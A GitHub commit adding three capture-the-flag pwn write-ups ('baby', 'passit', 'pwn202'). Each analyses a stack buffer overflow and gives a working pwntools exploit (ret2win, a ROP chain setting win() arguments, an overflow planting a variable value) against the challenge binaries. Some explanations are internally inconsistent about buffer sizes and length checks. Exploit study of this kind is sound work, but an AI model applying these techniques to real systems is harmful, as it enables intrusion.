Skip to content

Commit b8d6f01

Browse files
committed
Added NCSC-2025 write-up
1 parent a341b33 commit b8d6f01

File tree

6 files changed

+282
-0
lines changed

6 files changed

+282
-0
lines changed
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
---
2+
layout: post
3+
date: 2025-07-25 12:23:00 +0300
4+
categories: NCSC-2025 pwn
5+
title: baby
6+
tags: i386 ret2win buffer-overflow
7+
---
8+
9+
## Information
10+
- category: pwn
11+
- points: 1000
12+
13+
## Description
14+
> None
15+
16+
## Write-up
17+
18+
When running the challenge binary:
19+
```bash
20+
λ ~/Desktop/CTF@NCSC/pwn/pwn1/ ./baby
21+
Welcome to babypwn challenge!
22+
Enter your input:
23+
AAAA
24+
You said: AAAA
25+
```
26+
27+
<img src="/images/baby/baby1.png" style="border-radius: 14px;">
28+
From your screenshot:
29+
- `fgets(buffer, 200, stdin);`
30+
- But the actual `buffer` (`local_48`) is **only 0x44 = 68 bytes**.
31+
- That means `fgets()` is allowed to **write up to 200 bytes**, but only 68 are safely allocated — this is a **classic overflow**.
32+
33+
### Exploitation Path
34+
**You now control the stack after 68 bytes**, which includes:
35+
- **Saved RBP**: Usually right after local vars (at `offset + 0x48`).
36+
- **Return address**: Comes after RBP (typically at `offset + 0x50` or so).
37+
38+
So the **ret address is definitely overwritable**
39+
40+
### Finding the Return Address Offset Using GDB + Pwndbg:
41+
```plaintext
42+
[stack] 0xffffd160 'AAAA\n'
43+
pwndbg> i f
44+
Stack level 0, frame at 0xffffd1b0:
45+
eip = 0x804931d in vuln; saved eip = 0x8049387
46+
called by frame at 0xffffd1d0
47+
...
48+
Saved registers:
49+
ebx at 0xffffd1a4, ebp at 0xffffd1a8, eip at 0xffffd1ac
50+
pwndbg> dist 0xffffd160 0xffffd1ac
51+
0xffffd160->0xffffd1ac is 0x4c bytes (76 bytes)
52+
```
53+
> Offset to return address = 76 bytes
54+
{: .prompt-info}
55+
56+
## Exploit
57+
```python
58+
#!/usr/bin/env python3
59+
60+
from pwn import *
61+
62+
exe = ELF("./baby")
63+
64+
context.binary = exe
65+
66+
67+
def conn():
68+
if args.LOCAL:
69+
r = process([exe.path])
70+
if args.DEBUG:
71+
gdb.attach(r)
72+
else:
73+
r = remote("")
74+
75+
return r
76+
77+
78+
def main():
79+
r = conn()
80+
81+
82+
win_addr = 0x8049233
83+
84+
payload = b'A' * 72
85+
payload += b'B' * 4
86+
payload += p32(win_addr)
87+
88+
r.send(payload)
89+
90+
r.interactive()
91+
92+
93+
if __name__ == "__main__":
94+
main()
95+
```
96+
97+
## Flag
98+
> Flag:``` ```
99+
100+
101+
102+
103+
104+
105+
106+
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
---
2+
layout: post
3+
date: 2025-07-25 12:23:00 +0300
4+
categories: NCSC-2025 pwn
5+
title: passit
6+
tags: x64 ret2win buffer-overflow ROP
7+
---
8+
9+
## Information
10+
- category: pwn
11+
- points: 1000
12+
13+
## Description
14+
> None
15+
16+
## Write-up
17+
This challenge is similar to the classic `baby` pwn challenge but with an important twist: the `win` function requires two parameters (`parm1` and `parm2`) to be set correctly to successfully get the flag. From reversing the binary (see the screenshot below), we can see the function prototype for `win` accepts two arguments. This means a simple return-to-`win` (ret2win) without setting those parameters won’t work:
18+
19+
<img src="/images/baby/Shot-2025-07-26-034940.png" style="border-radius: 14px;">
20+
21+
To craft a proper exploit, we first need to find the exact offset from the input buffer to the saved return address on the stack. Using `pwndbg`, we set a breakpoint right before the vulnerable `fgets` call, which reads user input into the buffer. At this breakpoint, registers and stack pointers give us crucial information about the stack layout. From the debugger output:
22+
```plaintext
23+
Stack level 0, frame at 0x7fffffffdf40:
24+
rip = 0x401310 in vuln; saved rip = 0x401369
25+
called by frame at 0x7fffffffdf50
26+
...
27+
pwndbg> dist $rax 0x7fffffffdf38
28+
0x7fffffffdef0->0x7fffffffdf38 is 0x48 bytes (0x9 words)
29+
```
30+
31+
- `$rax` points to the buffer start at `0x7fffffffdef0`.
32+
- The saved return address (RIP) is stored at `0x7fffffffdf38`.
33+
- Calculating the distance between these addresses: `0x7fffffffdf38 - 0x7fffffffdef0 = 0x48` bytes (72 bytes).
34+
35+
36+
This tells us the return address lies 72 bytes after the start of the buffer. Therefore, to overwrite the return address, we need to overflow the buffer with 72 bytes of filler, then overwrite the next 8 bytes (on x86\_64) with our desired return address.
37+
38+
## Exploit
39+
```python
40+
#!/usr/bin/env python3
41+
42+
from pwn import *
43+
44+
exe = ELF("./passit_patched")
45+
46+
context.binary = exe
47+
48+
49+
def conn():
50+
if args.LOCAL:
51+
r = process([exe.path])
52+
if args.DEBUG:
53+
gdb.attach(r)
54+
else:
55+
r = remote("")
56+
57+
return r
58+
59+
60+
def main():
61+
r = conn()
62+
63+
pop_rdi = 0x401196
64+
pop_rsi = 0x401199
65+
ret = 0x401016
66+
payload = b"A" * 72 + p64(ret)
67+
payload+= p64(pop_rdi) + p64(0x435343434e0000)
68+
payload+= p64(pop_rsi) + p64(0x5a44494b530000)
69+
payload+= p64(exe.symbols.win)
70+
71+
r.send(payload)
72+
r.interactive()
73+
74+
75+
if __name__ == "__main__":
76+
main()
77+
```
78+
79+
## Flag
80+
> Flag:``` ```
81+
82+
83+
84+
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
---
2+
layout: post
3+
date: 2025-07-25 12:32:42 +0300
4+
categories: NCSC-2025 pwn
5+
title: pwn202
6+
tags: i386 ret2win buffer-overflow int-overflow
7+
---
8+
9+
## Information
10+
- category: pwn
11+
- points: 1000
12+
13+
## Description
14+
> None
15+
16+
## Write-up
17+
18+
When running:
19+
```
20+
λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
21+
Hey please enter the Secret password for lab 202 mr pwner:
22+
AAAA
23+
Length of your input is: 4
24+
are you sure ? Not the password mr Pwner !
25+
```
26+
27+
But if input is too long:
28+
```
29+
λ ~/Desktop/CTF@NCSC/pwn/pwn2/ ./pwn202
30+
Hey please enter the Secret password for lab 202 mr pwner:
31+
AAAAAAAAAAAAAAAAAAA
32+
Length of your input is: 19
33+
hey ! you must Keep the length between 4 and 8, I can see you are doing a overflow !!
34+
```
35+
So there’s **length checking logic** before something interesting happens.
36+
37+
38+
39+
Using Ghidra, we reverse the `check()` function and discovered the following:
40+
<img src="/images/baby/Shot-2025-07-26-033339.png" style="border-radius: 14px;">
41+
42+
### Vulnerability
43+
- The program uses `strcpy()` to copy user input into `local_17`, a 10-byte buffer.
44+
- However, it doesn't validate the actual size, only the **length of input**, and only **after** calling `strlen()` and **before** calling `strcpy()`.
45+
- So **even if the length is valid (4 ≤ len ≤ 8)**, a malicious input can overwrite `local_c` which is **right after** `local_17`.
46+
47+
48+
- Overwrite `local_c` with `0x49693121` by carefully crafting our input to overflow the buffer and land that integer in memory.
49+
- We must:
50+
1. Keep our input length **between 4 and 8** to pass the check.
51+
2. Still overflow `local_17` enough to **overwrite `local_c`** with our target value.
52+
3. Use binary tools (like GDB or pwndbg) to find the **exact offset** between `local_17` and `local_c`
53+
54+
55+
## Exploit
56+
```python
57+
#!/usr/bin/env python3
58+
59+
from pwn import *
60+
61+
exe = ELF("./pwn202_patched")
62+
63+
context.binary = exe
64+
65+
66+
def conn():
67+
if args.LOCAL:
68+
r = process([exe.path])
69+
if args.DEBUG:
70+
gdb.attach(r)
71+
else:
72+
r = remote("")
73+
74+
return r
75+
76+
77+
def main():
78+
r = conn()
79+
80+
payload = b'A' * 11
81+
payload += p32(0x49693121)
82+
payload += b'B' * 245
83+
r.sendline(payload)
84+
r.interactive()
85+
86+
if __name__ == "__main__":
87+
main()
88+
```
89+
90+
## Flag
91+
> Flag:``` ```
92+
201 KB
Loading
205 KB
Loading

images/baby/baby1.png

173 KB
Loading

0 commit comments

Comments
 (0)